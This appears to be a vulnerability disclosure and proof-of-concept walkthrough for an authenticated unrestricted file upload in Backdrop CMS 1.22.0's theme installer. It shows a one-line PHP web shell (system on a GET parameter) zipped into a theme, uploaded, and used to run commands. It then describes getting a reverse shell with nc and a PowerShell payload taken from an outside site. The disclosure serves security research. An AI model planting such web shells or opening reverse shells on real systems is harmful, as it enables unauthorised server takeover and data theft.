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GrimTheRipper

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Backdrop CMS 1.22.0 — Unrestricted File Upload (Themes)

Description

An Issue is discovered in Backdrop CMS 1.22.0.

#We found a vulnerability file upload when we upload the malicious file as a theme in the theme installer on the Appearance page.

Proof of Concept

First, we login to the target application with admin privileges.





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LOG IN

RESET PASSWORD

Username or email *

admin

Password *

[Show password](#)

.....

LOG IN

Then select Appearance and select Install new themes.

The screenshot shows the Backdrop CMS dashboard. The top navigation bar includes links for Home, Dashboard, Content, User accounts, Appearance (highlighted with a red box), Functionality, Structure, Configuration, and Reports. A dropdown menu for 'Appearance' is open, showing 'List themes' and 'Install new themes' (highlighted with a red box). The main content area features a 'WELCOME TO BACKDROP CMS!' message with links to get started, next steps, and more actions. The 'Get started' section includes links to view the home page, add a logo, customize the theme, and find a new theme. The 'Next steps' section includes links to edit the about page, create a new post, update the primary navigation menu, and modify the layout. The 'More actions' section includes links to turn existing modules on or off, add new modules, read the online user guide, and visit the Backdrop CMS forum. The 'CREATE CONTENT' section includes links to add new cards, pages, and posts. The 'CONTENT OVERVIEW' section shows 4 card items. The 'BACKDROP NEWS' section includes links to register for Backdrop LIVE, view the latest feature release, and view weekly office hours.

click Manual Installation.





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LIST THEMES

INSTALL NEW THEMES

Search

SEARCH

Sort by: Relevance

Most installed

Title

Latest release

Showing 1 to 20 of 37.

THEMES



Bootstrap Lite

Add to Installation queue

This is a clean and minimal Backdrop-oriented Bootstrap 3-based theme inspired by the Drupal Bootstrap theme and that provides an upgrade path from that D7 theme. It is, however, a totally separate project from the Drupal Bootstrap theme with no guaranteed compatibility between... [details](#)

195 installations



Corporate KiSS

Add to Installation queue

Corporate KiSS is a simple clean theme that is meant to look nice for business or corporate web sites. It is written in nothing but pure CSS, with no template files. It fully relies on Backdrop's core layout system for layout. It is written with the philosophy of Keep It Simple... [details](#)

148 installations

Installation queue

Installation queue is empty.

Manual installation

we can upload with zip files.

Manual installation



You can find modules, themes, and layouts on backdropcms.org. The following file extensions are supported: *tar* *tgz* *gz* *bz2* *zip*.

► [Install projects by name](#)

► [Install from a URL](#)

▼ [Upload a module, theme, or layout archive to install](#)

Upload a module, theme, or layout archive to install

Choose File No file chosen

For example: *name.tar.gz* from your local computer



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<https://github.com/backdrop-contrib/>

The screenshot shows the GitHub repository page for 'indigoxela Tweak after last core changes'. The repository has 45 commits and was last updated on May 1. The file list includes:

File	Description	Time
color	Comment styles, teaserlist styles, ckeditor styles, color fixes	2 years ago
css	Tweaks after last core changes	2 months ago
fonts/merriweather	Removed woff2	2 years ago
images	Adding basic file structure	2 years ago
js	Adding basic file structure	2 years ago
templates	Better compability for main menus with many items	2 years ago
LICENSE.txt	Adding basic file structure	2 years ago
README.md	Updated README	2 years ago
lateralInfo	Card styles	2 months ago
screenshot.png	Screenshot resolution might look better on b.org	2 years ago
template.php	Issue #6: Prevent system style to break custom toggle style	4 months ago
theme-settings.php	Removed whitespace	2 years ago

The right sidebar shows the repository's metadata:

- About:** Backdrop CMS theme, GPL-2.0 license, 2 stars, 7 watching, 0 forks.
- Releases:** 7 releases, latest is v1.x-1.0.6 on May 3.
- Packages:** No packages published.
- Languages:** CSS 54.4%, PHP 45.1%, JavaScript 0.5%.

The bottom of the screenshot shows the 'Lateral' theme preview.

after that we use simple web shell and zip it to theme files.

```
<?php system($_GET["cmd"]); ?>
```





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Name	Size	Type	Modified
..		File folder	
color	3,613	File folder	
css	21,625	File folder	
fonts	3,024,718	File folder	
images	226,902	File folder	
js	202	File folder	
templates	7,771	File folder	
lateral.info	475	INFO File	3/5/2565 8:21
README.md	951	MD File	3/5/2565 8:21
shell.php	30	PHP File	1/7/2565 14:32
template.php	3,461	PHP File	3/5/2565 8:21
theme-settings.php	3,121	PHP File	3/5/2565 8:21
screenshot.png	393,030	PNG File	3/5/2565 8:21
LICENSE.txt	18,092	Text Document	3/5/2565 8:21

Total 6 folders, 7 files, 3,703,991 bytes

back too Manual installation and upload zip files.





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Installed lateral successfully.





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after we know path we can access to the backdoor and execute “whoami” command.

use nc to get our reverse shell.

we use reverse shell payload from this website.





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Finally execute “powershell” command to create reverse shell connection.





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